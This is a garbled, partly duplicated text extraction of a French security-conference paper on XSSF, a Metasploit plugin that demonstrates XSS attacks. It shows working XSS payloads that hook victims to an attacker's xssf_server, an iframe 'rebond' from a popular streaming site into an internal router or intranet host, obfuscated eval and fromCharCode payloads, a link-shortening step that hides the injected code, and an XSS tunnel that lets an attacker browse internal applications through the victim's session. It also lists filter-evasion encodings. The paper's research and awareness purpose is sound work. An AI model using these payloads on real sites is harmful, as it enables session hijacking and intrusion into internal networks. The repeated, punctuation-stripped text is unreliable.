Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

Pour le moment il nrsquoexiste pas de solution miracle pour se proteger individuel-lement des XSS cote client Cote serveur on peut par exemple utiliser des WAF(Web Application Firewall) qui serviront a bloquer certaines XSS (meme srsquoils nesrsquoappliquent pas seulement aux XSS) Ceux-ci jouent le role de filtres appliquant uneliste de regles a respecter pour les conversations en HTTP

Heureusement il existe un moyen vraiment efficace afin de reduire la frequence derencontre de ces vulnerabilites la sensibilisation des developpeurs et des chefs deprojets afin de rendre efficaces les controles XSS cote serveur Par experience bientrop peu drsquoapplications mettent en place de vraies protections par manque de tempsde moyens et surtout de connaissances On notera que les controles sont souventrealises cote client par lrsquoapplication et peuvent se contourner assez facilement avecun proxy par exemple Dans chaque langage de programmation il existe deja denombreuses fonctions permettant de filtrer les entrees utilisateur Des protectionsplus personnelles sont souvent implementees mais srsquoaverent dans presque tousles cas inefficaces et sont facilement contournees

L Courgnaud 335

6 Conclusion

Nous avons montre dans ce papier au travers du nouvel outil XSSF que lesvulnerabilites XSS restent dans la majorite des cas plus simples a exploiter qursquoellesnrsquoy paraissent et surtout qursquoelles peuvent mener a des attaques de grande ampleur

Alors que beaucoup de personnes pensent leurs elements internes (applicationspage de configurations drsquoelements reseaux) hors de danger car restreintes drsquoacces letunnel XSS permettra de demontrer le contraire dans le cas ou un acces Internet estpossible depuis ce meme reseau

Pour le moment lrsquooutil fonctionne en environnement reel sur la majorite desnavigateurs utilises (Firefox IE Opera Safari Chrome Android Browser iOS Safari)quelle que soit la version avec une installation par defaut

Esperons donc que le projet XSSF et les autres puissent aider a faire prendreconscience des reels danger de ce type de failles encore rencontrees sur bien tropdrsquoapplications

7 Remerciements

Je tiens a remercier Imad Abounasr pour lrsquoidee de realisation du projet XSSFainsi que pour les nombreuses relectures et corrections qursquoil a apporte a cet article Jeremercie egalement Pierre Gardenat pour ses travaux concernant les XSS (notammentSSTIC 2009 et MISC 49) lesquels mrsquoont servi drsquoinspiration pour le debut du projet

References

1 WhiteHat Security WhiteHat Security 11th Website Security StatisticsReport 1er trimestre 2011 httpwwwslidesharenetjeremiahgrossman

11th-website-security-statistics-full-report-q1-2011

2 Pierre Gardenat iexclscriptiquestalert(rsquoXSSrsquo)iexclscriptiquest XSS de la brise a lrsquoouragan Actes SSTIC Juin 2009 httpactesssticorgSSTIC09XSS-_de_la_brise_a_louraganSSTIC09-article-P-Gardenat-XSS-_

de_la_brise_a_louraganpdf

3 Dafydd Stuttard Marcus Pinto The Web Application Hackerrsquos Handbook Discovering and ExploitingSecurity Flaws 2008

4 OWASP (Open WEB Application Security Project) Cross-site Scripting (XSS) 2010 httpwwwowasporgindexphpXSS

5 OWASP (Open WEB Application Security Project) Testing for Cross site scripting 2010 http

wwwowasporgindexphpTesting_for_Cross_site_scripting

6 Gunter Ollmann HTML Code Injection and Cross-site scripting 2007 httpwwwtechnicalinfonetpapersCSShtml

336 XSSF demontrer le danger des XSS

7 Wikipedia Cross-site scripting 2010 httpenwikipediaorgwikiCross-site_scripting

8 Jeremiah Grossman XSS is the New Buffer Overflow JavaScript Malware is the New Shell Code 2007httpjeremiahgrossmanblogspotcom200704xss-attacks-bookhtml

9 IE 8 XSS filter exposes sites to XSS attacks httpgoogl42CsK

  • XSSF deacutemontrer le danger des XSS
  • L Courgnaud
Page 26: XSSF : démontrer le danger des XSS - SSTIC · ow, JavaScript Malware is the new shell code ˛. Ce potentiel qu’ont les failles XSS est aussi du^ a la grande evolution des capacit

L Courgnaud 327

concernant lrsquointegration des attaques Metasploit qui semble etre meilleure Pourlrsquoinstant la nouvelle version est en beta et ne fonctionne pas totalement crsquoest pour-quoi lrsquoancienne version a ete gardee pour cette comparaison Le projet XSSShell XSSTunnel nrsquoest plus maintenu son auteur ayant rejoint le projet BeEF Quant auprojet XeEK il ne semble pour lrsquoinstant plus evoluer

Bien evidemment le gros avantage de XSSF par rapport aux autres est sonintegration dans un outil deja tres connu et enormement utilise pour les tests drsquointru-sion Lrsquoinstallation de XSSF est relativement simple et nous esperons pour le futurune integration officielle dans le Framework Metasploit Pour finir lrsquointeret majeurpar rapport aux outils actuellement existants est la possibilite drsquoutiliser un tunnelXSS afin de recuperer les pages (du domaine vulnerable) telles qursquoelles sont vues parla victime

4 Rebond et tunnel XSS

Dans cette section nous allons voir en detail une fonctionnalite importante offertepar le plugin XSSF interessante malgre les limitations de la SOP lrsquoencapsulation derequetes dans un tunnel XSS Nous verrons au travers drsquoun exemple concret lrsquoutiliteque peut avoir un rebond lors drsquoune attaque XSS et notamment lors de la mise enplace drsquoun tunnel XSS

Le principe choisi pour lrsquoexemple est simple lrsquoattaquant ayant connaissance drsquouneXSS (volatile) situee sur une application drsquoun reseau interne veut etre capable de na-viguer sur le domaine vulnerable a partir de son propre navigateur Bien evidemmentlrsquoattaquant nrsquoa aucun acces au reseau interne et de ce fait aucun acces a lrsquoapplicationLrsquoexemple choisi est base sur une vulnerabilite XSS obtenue avec une installationpar defaut de WampServer 11 mais pourrait etre reproduit exactement de la memefacon avec une XSS sur une interface web drsquoun element reseau (routeur firewalletc) ou les controles sont souvent negliges et les identifiants par defaut inchanges La vulnerabilite est donc presente sur la page httplocalhostlang=en alrsquointerieur du parametre lang

La premiere chose a laquelle on peut penser est drsquoattaquer une ou plusieurspersonnes internes au reseau (ayant acces a lrsquoapplication vulnerable) de deux manieressimples

11 httpwwwwampservercom

328 XSSF demontrer le danger des XSS

ndash Envoi (en masse) drsquoune URL contenant le code malicieux ( httpxssf_

serverloop ) vers la page du reseau interne ndash Facilement detectable par les victimes potentiellesndash Forte probabilite que la victime ne reste pas connectee bien longtemps

ndash Mise en place drsquoun site malicieux par lrsquoattaquant ndash Facilement detectable par les victimes potentiellesndash Temps de connexion dependant entierement de lrsquoattrait du site malicieux

Quelle que soit la methode retenue on constate qursquoil y a beaucoup de chancesde perdre le lien avec les victimes assez rapidement La duree de vie drsquoune XSSetant intimement liee a la duree drsquoaffichage de la page la contenant il va donc falloirtrouver une solution afin drsquoaugmenter les chances que la victime reste connecteeplus longtemps permettant ainsi a lrsquoattaquant de realiser plus drsquoactions dans la duree

Crsquoest donc la tout lrsquointeret drsquoun rebond nous allons utiliser un site (vulnerable)de grande consultation afin de rendre lrsquoattaque moins suspecte et de garder un tempsde connexion plus long avec les victimes Generalement un rebond consiste a attaquerune machine par lrsquointermediaire drsquoune autre machine afin de masquer les tracespermettant de remonter a lrsquoattaquant par exemple Pour les XSS un rebond consistea se servir drsquoune XSS sur un domaine afin de rebondir et drsquoacceder a drsquoautres domainesvulnerables Bien evidemment a cause de la SOP il sera impossible de rebondir surdrsquoautres domaines non vulnerables aux failles de type XSS Il est donc forcement plusinteressant drsquoexploiter une XSS sur une page ayant une courte duree de vie (page dereseau interne etc) a partir drsquoune page ayant une duree de vie plus longue (reseausocial page multimedia etc)

Par le passe on trouve plusieurs exemples de ce type dont un demontre a laBlack Hat 2010 12 Le chercheur dans son communique intitule How I met yourgirlfriend a montre comment localiser une personne grace a une XSS sans se servirde son IP Il se sert en fait drsquoune faille XSS sur un site pour rebondir sur une failleXSS dans lrsquointerface drsquoadministration des routeurs FiOS (Verizon) dans laquelle ilse connecte avec les identifiants par defaut (souvent inchanges) afin de recupererlrsquoadresse MAC du routeur Puis il utilise les nouveaux services Google pour retrouverles coordonnees GPS des victimes Bien evidemment il avait aussi un acces total atoute la configuration du routeur

12 Conference organisee sur le theme de la securite informatique

L Courgnaud 329

Pour en revenir a notre probleme la prochaine etape est donc de debusquer unsite vulnerable aux failles de type XSS ou les personnes visees seront susceptiblesde rester assez longtemps pour que lrsquoattaquant puisse realiser le maximum drsquoactionsTache plutot simple au vu de la frequence de rencontre des XSS et au vu de lafrequentation grandissante des sites a contenu multimedia illegaux suite a la miseen place de HADOPI 13 Utilisons donc la page httpwwwsite-de-streaming

comstreamingphpp=2943 par exemple dont le parametre vulnerable p vanous permettre de rester lies avec la victime plus longtemps

Dans un premier temps on peut donc injecter directement un script liant lavictime a XSSF p=2943gt20ltscript20src=httpxssf_serverloopgt

ltscriptgt Probleme le contenu multimedia ne sera pas charge en raison delrsquoutilisation drsquoun mauvais ID et lrsquoutilisateur sera averti du mauvais fonctionnementde la page

Nous allons donc inserer directement un code un peu plus complexe en realisantle rebond vers le serveur interne vulnerable

http wwwsite -de -streamingcom streamingphpp=2943 gt ltscript gt

documentbodyinnerHTML = rsquoltiframe width=0 height =0 src=http 19216811

lang=en22lt script src =22 http xssf_server 8888 loop22gtltscript gtgt

ltiframe gtltiframe src=http wwwsite -de -streamingcomstreamingphpp=2943

style= margin 0px padding 0px height 175 border none display

block width 100 border none overflow -y hidden overflow -x hidden

frameborder =0 scrolling =autogt ltiframe gtrsquo

ltscript gt

Le code precedent va permettre de charger deux IFRAMES dans la page ndash La premiere permet de realiser le rebond vers lrsquoapplication interne et de lier

la victime au serveur XSSF On notera qursquoil est aussi possible drsquoutiliser unmodule XSSF pour realiser le rebond Ici pour plus de simplicite le rebond sefait directement lors de lrsquoattaque La victime liee a XSSF est donc directementreconnue comme etant sur le domaine vulnerable http1921681180

ndash La seconde permet de re-afficher la page a lrsquoutilisateur avec un ID de contenumultimedia valide le laissant ainsi visionner la video De plus la page etantmaintenant chargee dans une IFRAME et le rebond dans une autre lrsquoutilisateurpeut continuer a naviguer (par les liens de la page) sans que la connexion avecXSSF ne soit rompue Bien entendu les IFRAMES sont configurees afin que lestyle de la page soit inchange

13 httpfrwikipediaorgwikiLoi Creation et Internet

330 XSSF demontrer le danger des XSS

Bien que fonctionnelle si cette URL est envoyee en masse ou par envois ciblesles chances sont assez grandes pour que lrsquoutilisateur se doute qursquoun code est inseredans lrsquoURL De plus comme la solution contient plusieurs niveaux de guillemets (rsquordquo 22) nous utiliserons donc un encodage numerique (pour les caracteres entre lesbalises ltscriptgt ) pour ne pas creer drsquoerreurs drsquointerpretation par le navigateur

httpwwwsite-de-streamingcomstreamingphpname=death_tunnelamp

movie_id_url=2943ampp1=trueampp2=falseampp3=falseampp4=falseampp5=trueamp

p6=falseampp7=falseamppage=movie_streamingamptime=1303948281772ampp=2943gt

ltscriptgteval(StringfromCharCode(10011199117[]623959))

ltscriptgt

Des parametres ont ete ajoutes afin de deplacer la partie effectivement malicieusedu code pour qursquoelle nrsquoapparaisse pas dans la barre drsquoadresses du navigateur On peutpour finir raccourcir le lien afin de lrsquoenvoyer plus simplement httpgooglZ1jI9

Maintenant que nous avons realise le rebond XSS afin de garder la victime leplus longtemps possible et que celle-ci est liee par le domaine vulnerable http

1921681180 nous allons pouvoir passer a la tunnelisation par XSS Dansles reseaux informatiques un tunnel est en fait une encapsulation de donnees drsquounprotocole reseau dans un autre Pour faire la comparaison avec les XSS on ne parlerapas de protocoles mais plutot drsquoencapsulation de requetes HTTP dans du JavaScriptLe but de la manipulation etant donc de naviguer a partir du navigateur de lrsquoattaquantsur une application du reseau interne normalement inaccessible depuis lrsquoexterieur

Le principe de notre tunnel est simple puisque la SOP autorise la victime aeffectuer des requetes sur le domaine vulnerable actuel ( http1921681180 )nous allons nous en servir comme proxy afin de naviguer sur son domaine a sa place

Lrsquoattaquant va donc pouvoir configurer son navigateur pour passer par XSSFcomme proxy et realiser une requete sur le domaine http1921681180 (1)La requete HTTP est ensuite envoyee au serveur drsquoattaque (2) qui srsquooccupe de latransformer en requete comprehensible par la victime (3) une simple requete enAJAX suffit Toutes les requetes envoyees par le navigateur sont gardees en memoiredans XSSF en attendant que la victime vienne demander ses commandes Une foisle code (requete AJAX ou liste de requetes) transmis par XSSF (4) la victime vapouvoir lrsquoexecuter (5) et recevoir une reponse du serveur interne vulnerable (6) Cettereponse sera renvoyee au serveur XSSF en tant que reponse a une attaque (7) et leserveur drsquoattaque pourra enfin retourner la reponse au navigateur (8) Lrsquoattaquantpeut ainsi visualiser le domaine comme srsquoil etait la victime puisque crsquoest elle qui varealiser toutes ces requetes

L Courgnaud 331

Figure 12 Principe du tunnel XSS

Au niveau du serveur drsquoattaque XSSF lrsquoordre de depart des requetes a executernrsquoest pas forcement le meme que lrsquoordre drsquoarrivee des reponses (la reponse a unerequete A envoyee avant une requete B peut etre recue apres celle de B) Il est doncimportant au niveau du serveur drsquoidentifier chacune des requetes envoyees par lenavigateur afin de ne pas inverser les ressources demandees

Bien evidemment le proxy nrsquoest pas aussi rapide qursquoun proxy normal car le serveurdrsquoattaque doit attendre que la victime demande des commandes avant de pouvoireffectuer une requete Un moyen efficace est de regler lrsquointervalle de demandes decommandes depuis la victime avec une petite valeur (1 ou 2 secondes)

Pour le moment le proxy gere plutot bien tout types de ressources en GET eten POST sur des domaines en HTTP Quelques problemes subsistent encore pourlrsquoutilisation sur des domaines en HTTPS avec des navigateurs ne supportant pas leHTML5 (problemes enonces dans la partie 23) Lrsquoutilisation du tunnel dans cetteminorite de cas risque de srsquoaverer impossible

On remarquera pour finir que sous Internet Explorer 6 (encore tres utilise 14) lapolitique de la SOP nrsquoinclut pas de regles pour les documents ouverts localement il est donc possible de realiser une attaque demandant drsquoouvrir un fichier malicieux(HTML + JavaScript) en local et ainsi de ne pas avoir a se soucier de la SOP Graceau tunnel on peut donc naviguer sur nrsquoimporte quel site et profiter des sessions dejaouvertes de la victime sur differentes applications

14 httpie6countdowncom

332 XSSF demontrer le danger des XSS

VICTIME

APPLICATION_WEB METASPLOIT ATTAQUANT NAVIGATEUR

Transformation de la requecircte en JavaScript (XMLHttpRequest)

Transformation de la requecircte 1 en JavaScript

Transformation de la requecircte 2 en JavaScript

Intranet httpintranetindexphp

Demande de code agrave exeacutecuter

Etc

Proxy XXXXY

GET httpintranetindexphp

GET httpintranetindexphp

Mise en attente du code JavaScript agrave exeacutecuter

Demande de code agrave exeacutecuter

200 Envoi du code agrave exeacutecuter

Exeacutecution du code coteacute client

Envoi des reacutesultats

200 OK

Reacuteponse au GET (httpintranetindexphp)

GET httpintranetpage1php

Mise en attente du code agrave exeacutecuter

GET httpintranetimagejpg

Mise en attente du code agrave exeacutecuter (concateacutenation au code deacuteja existant)

XMLHttpRequest

SOP OK Reponse OK

Figure 13 Fonctionnement de XSSF Tunnel

5 Protections limites et contournements

Les vulnerabilites de type XSS sont connues depuis de nombreuses annees etbien que beaucoup de techniques existent pour srsquoen proteger elles sont souvent peuappliquees voire jamais sur certaines applications Ce manque de protections estsouvent du a lrsquoidee generale infondee de beaucoup de personnes pensant qursquoune failleXSS sert juste a afficher une boite de dialogue ce qui en fait est plus une preuve deconcept (PoC) qursquoune attaque en elle-meme

Mais face aux possibilites evoquees precedemment quelles sont les protectionsreelles existantes afin de se proteger efficacement

Il existe tout drsquoabord des solutions cote client souvent utilisees mais parfois in-efficaces

Filtres XSS (IE8 par exemple) Plutot efficace en temps normal mais ne fonc-tionne que pour les XSS volatiles (les plus rencontrees) Pour les XSS persistantes

L Courgnaud 333

la detection ne sera pas faite car les tests sont bases sur la requete faite au serveuret la reponse immediatement recue (on cherche si les parametres inseres sontpresents sans avoir ete filtres dans la reponse) On notera quand meme que denombreux patchs sont deja parus pour combler des breches dans ce filtre et qursquoily a donc tres probablement drsquoautres moyens de le bypasser (sans compter quecertains sites non vulnerables le sont devenus avec lrsquoutilisation de ce filtre [9] )

Bloqueurs (NoScript sur Firefox par exemple) Permet de nrsquoautoriser que lesscripts provenant de sites dit de confiance definis par lrsquoutilisateur ce qui en faitune solution assez efficace Cependant comme la majorite des sites aujourdrsquohuiont beaucoup de mal a fonctionner sans JavaScript crsquoest une solution qui devienttrop restrictive De plus du JavaScript malicieux sur un site de confiance ne serapas detecte et sera execute

Les IPS (Intrusion Prevention System) Permettent de reperer le passage dedonnees suspectes ou anormales sur le reseau et de les bloquer avant leur arriveea destination Crsquoest une solution efficace pour reduire lrsquoimpact des attaques maisqui encore une fois a ses limites tous les codes ne pouvant pas etre detectes Pireencore cette solution ne sera utile que sur des flux en clair aucun interet si lavulnerabilite se trouve sur un site en HTTPS

Ces solutions bien qursquoutiles dans la plupart des cas ne permettent pas de bloquertous les codes malicieux Crsquoest en partie du au fait qursquoun meme code JavaScript peutsrsquoecrire de nombreuses manieres differentes lrsquoempechant ainsi drsquoetre detecte par lesfiltres et autres solutions (cote client ou cote serveur)

lthtmlgtltbodygt

ltscript gt

alert (0)

alert(x30)

eval(rsquoalert (0)rsquo)

eval(StringfromCharCode (97 108 101 114 116 40 48 41 59))

var a=[x66x72x6Fx6Dx43x68x61x72x43x6Fx64x65] eval(String

[a[0]](30+67 100 -8+16 101 114 116 40 48 41 60 -1))

eval(function(packed)e=function(c)return cif(rsquorsquo replace (^

String))while(c--)d[c]=k[c]||ck=[ function(e)return d[e]]e=

function ()return rsquow+rsquoc=1 while(c--)if(k[c])p=preplace(new

RegExp (rsquobrsquo+e(c)+rsquobrsquorsquogrsquo)k[c]) return p( rsquo1(0)rsquo22rsquo|alert rsquo

split(rsquo|rsquo) 0))

334 XSSF demontrer le danger des XSS

function name(str) eval(eval(str)) name ( rsquo([]+[]) [++[]]+([]+[])

[+[]++[]]+(+[]+[]) [+[]++[]++[]]+([]+[]) [++[]]+([]+[])

[+[]]+(+[])rsquo)

document[x77x72x69x74x65](x3Cx73x63x72x69x70x74x3Ex61

x6Cx65x72x74x28x30x29x3Bx3Cx2Fx73x63x72x69x70x74x3E

)

eval(unescape(616C657274283029))

ltscript gt

ltbodygtlthtmlgt

Ces multitudes de facons drsquoecrire un meme script (ici seulement alert (0) )rendent drsquoautant plus difficile le travail pour les filtres XSS qui doivent etre concuspour bloquer toutes les possibilites drsquoinjection de code autre que celui prevu Onpeut aussi imaginer une fonction decodant des caracteres en Base64 (par exemple)qui en elle meme ne sera pas malicieuse mais qui peut recevoir une chaine mali-cieuse en entree qui ne sera pas forcement detectee par les filtres Il nrsquoest pas rarede voir 98 de code non malicieux servant a decoder les autres 2 qui eux le seront

